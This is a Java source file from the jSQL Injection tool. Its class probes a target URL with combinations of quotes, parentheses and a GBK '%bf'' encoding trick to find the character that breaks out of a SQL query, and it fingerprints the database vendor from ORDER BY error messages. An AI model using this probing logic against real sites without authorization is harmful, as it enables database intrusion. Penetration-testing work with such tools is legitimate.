View Javadoc
1   package com.jsql.model.suspendable;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.bean.util.Header;
5   import com.jsql.model.bean.util.Interaction;
6   import com.jsql.model.bean.util.Request;
7   import com.jsql.model.exception.JSqlException;
8   import com.jsql.model.exception.StoppedByUserSlidingException;
9   import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
10  import com.jsql.model.injection.vendor.MediatorVendor;
11  import com.jsql.model.injection.vendor.model.Vendor;
12  import com.jsql.model.suspendable.callable.CallablePageSource;
13  import com.jsql.util.I18nUtil;
14  import com.jsql.util.LogLevelUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  
20  import java.util.*;
21  import java.util.concurrent.CompletionService;
22  import java.util.concurrent.ExecutionException;
23  import java.util.concurrent.ExecutorCompletionService;
24  import java.util.concurrent.ExecutorService;
25  import java.util.regex.Pattern;
26  import java.util.stream.Collectors;
27  import java.util.stream.Stream;
28  
29  /**
30   * Runnable class, define insertionCharacter to be used during injection,
31   * i.e -1 in "...php?id=-1 union select..", sometimes it's -1, 0', 0, etc.
32   * Find working insertion char when error message occurs in source.
33   * Force to 1 if no insertion char works and empty value from user,
34   * Force to user's value if no insertion char works,
35   * Force to insertion char otherwise.
36   */
37  public class SuspendableGetCharInsertion extends AbstractSuspendable {
38      
39      /**
40       * Log4j logger sent to view.
41       */
42      private static final Logger LOGGER = LogManager.getRootLogger();
43  
44      private static final String LABEL_PREFIX = "prefix";
45  
46      public SuspendableGetCharInsertion(InjectionModel injectionModel) {
47          super(injectionModel);
48      }
49  
50      @Override
51      public String run(Object... args) throws JSqlException {
52          String characterInsertionByUser = (String) args[0];
53          
54          ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
55          CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
56  
57          var charFromBooleanMatch = new String[1];
58          List<String> charactersInsertion = this.initCallables(taskCompletionService, charFromBooleanMatch);
59          
60          var mediatorVendor = this.injectionModel.getMediatorVendor();
61          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");
62  
63          String charFromOrderBy = null;
64          
65          int total = charactersInsertion.size();
66          while (0 < total) {
67              if (this.isSuspended()) {
68                  throw new StoppedByUserSlidingException();
69              }
70              try {
71                  CallablePageSource currentCallable = taskCompletionService.take().get();
72                  total--;
73                  String pageSource = currentCallable.getContent();
74                  
75                  List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
76                  if (!vendorsOrderByMatch.isEmpty()) {
77                      this.setVendor(mediatorVendor, vendorsOrderByMatch);
78                      
79                      LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
80                      var requestSetVendor = new Request();
81                      requestSetVendor.setMessage(Interaction.SET_VENDOR);
82                      Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
83                      msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
84                      msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
85                      requestSetVendor.setParameters(msgHeader);
86                      this.injectionModel.sendToViews(requestSetVendor);
87                      
88                      // Char insertion
89                      charFromOrderBy = currentCallable.getCharacterInsertion();
90                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
91                      break;
92                  }
93              } catch (InterruptedException e) {
94                  LOGGER.log(LogLevelUtil.IGNORE, e, e);
95                  Thread.currentThread().interrupt();
96              } catch (ExecutionException e) {
97                  LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
98              }
99          }
100         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
101         if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
102             charFromOrderBy = charFromBooleanMatch[0];
103         }
104         return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
105     }
106 
107     private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
108         if (
109             vendorsOrderByMatch.size() == 1
110             && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
111         ) {
112             mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
113         } else if (vendorsOrderByMatch.size() > 1) {
114             if (vendorsOrderByMatch.contains(mediatorVendor.getPostgres())) {
115                 mediatorVendor.setVendor(mediatorVendor.getPostgres());
116             } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
117                 mediatorVendor.setVendor(mediatorVendor.getMysql());
118             } else {
119                 mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
120             }
121         }
122     }
123 
124     private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
125         return mediatorVendor.getVendors()
126             .stream()
127             .filter(vendor -> vendor != mediatorVendor.getAuto())
128             .filter(vendor -> StringUtils.isNotEmpty(
129                 vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
130             ))
131             .filter(vendor -> {
132                 Optional<String> optionalOrderByErrorMatch = Stream.of(
133                     vendor.instance().getModelYaml().getStrategy().getConfiguration().getFingerprint().getOrderByErrorMessage()
134                     .split("[\\r\\n]+")
135                 )
136                 .filter(errorMessage ->
137                     Pattern
138                     .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
139                     .matcher(pageSource)
140                     .matches()
141                 )
142                 .findAny();
143                 if (optionalOrderByErrorMatch.isPresent()) {
144                     LOGGER.log(
145                         LogLevelUtil.CONSOLE_SUCCESS,
146                         String.format("Order by fingerprint matching vendor [%s]", vendor)
147                     );
148                 }
149                 return optionalOrderByErrorMatch.isPresent();
150             })
151             .collect(Collectors.toList());
152     }
153 
154     private List<String> initCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
155         List<String> prefixValues = Arrays.asList(
156             RandomStringUtils.secure().next(10, "012"),  // to trigger probable failure
157             "1"  // to trigger eventual success
158         );
159         List<String> prefixQuotes = Arrays.asList(
160             SuspendableGetCharInsertion.LABEL_PREFIX +"'",
161             SuspendableGetCharInsertion.LABEL_PREFIX,
162             SuspendableGetCharInsertion.LABEL_PREFIX +"`",  // TODO add ITs
163             SuspendableGetCharInsertion.LABEL_PREFIX +"\"",
164             SuspendableGetCharInsertion.LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
165         );
166         List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
167         List<String> charactersInsertion = new ArrayList<>();
168         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
169         for (String prefixValue: prefixValues) {
170             for (String prefixQuote: prefixQuotes) {
171                 for (String prefixParenthesis: prefixParentheses) {
172                     this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
173                 }
174             }
175         }
176         for (String characterInsertion: charactersInsertion) {
177             taskCompletionService.submit(
178                 new CallablePageSource(
179                     characterInsertion
180                     + StringUtils.SPACE  // covered by cleaning
181                     + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
182                     characterInsertion,
183                     this.injectionModel,
184                     "prefix#orderby"
185                 )
186             );
187         }
188         return charactersInsertion;
189     }
190 
191     private void checkInsertionChar(
192         String[] charFromBooleanMatch,
193         List<String> charactersInsertion,
194         String prefixValue,
195         String prefixQuote,
196         String prefixParenthesis
197     ) throws StoppedByUserSlidingException {
198         String characterInsertion = prefixQuote.replace(SuspendableGetCharInsertion.LABEL_PREFIX, prefixValue) + prefixParenthesis;
199         charactersInsertion.add(characterInsertion);
200         // Skipping Boolean match when already found
201         if (charFromBooleanMatch[0] == null) {
202             var injectionCharInsertion = new InjectionCharInsertion(
203                 this.injectionModel,
204                 characterInsertion,
205                 prefixQuote + prefixParenthesis
206             );
207             if (injectionCharInsertion.isInjectable()) {
208                 if (this.isSuspended()) {
209                     throw new StoppedByUserSlidingException();
210                 }
211                 charFromBooleanMatch[0] = characterInsertion;
212                 LOGGER.log(
213                     LogLevelUtil.CONSOLE_SUCCESS,
214                     "Found character insertion [{}] using Boolean match",
215                     () -> charFromBooleanMatch[0]
216                 );
217             }
218         }
219     }
220     
221     private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
222         String characterInsertionDetectedFixed = characterInsertionDetected;
223         if (characterInsertionDetectedFixed == null) {
224             characterInsertionDetectedFixed = characterInsertionByUser;
225             String logCharacterInsertion = characterInsertionDetectedFixed;
226             LOGGER.log(
227                 LogLevelUtil.CONSOLE_ERROR,
228                 "No character insertion found, forcing to [{}]",
229                 () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
230             );
231         } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
232             String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
233             LOGGER.log(
234                 LogLevelUtil.CONSOLE_INFORM,
235                 "Using [{}] and [{}]",
236                 () -> this.injectionModel.getMediatorVendor().getVendor(),
237                 () -> characterInsertionDetected
238             );
239             LOGGER.log(
240                 LogLevelUtil.CONSOLE_DEFAULT,
241                 "Add manually the character * like [{}*] to force the value [{}]",
242                 () -> characterInsertionByUserFormat,
243                 () -> characterInsertionByUserFormat
244             );
245         } else {
246             LOGGER.log(
247                 LogLevelUtil.CONSOLE_INFORM,
248                 "{} [{}]",
249                 () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
250                 () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
251             );
252         }
253         return characterInsertionDetectedFixed;
254     }
255 }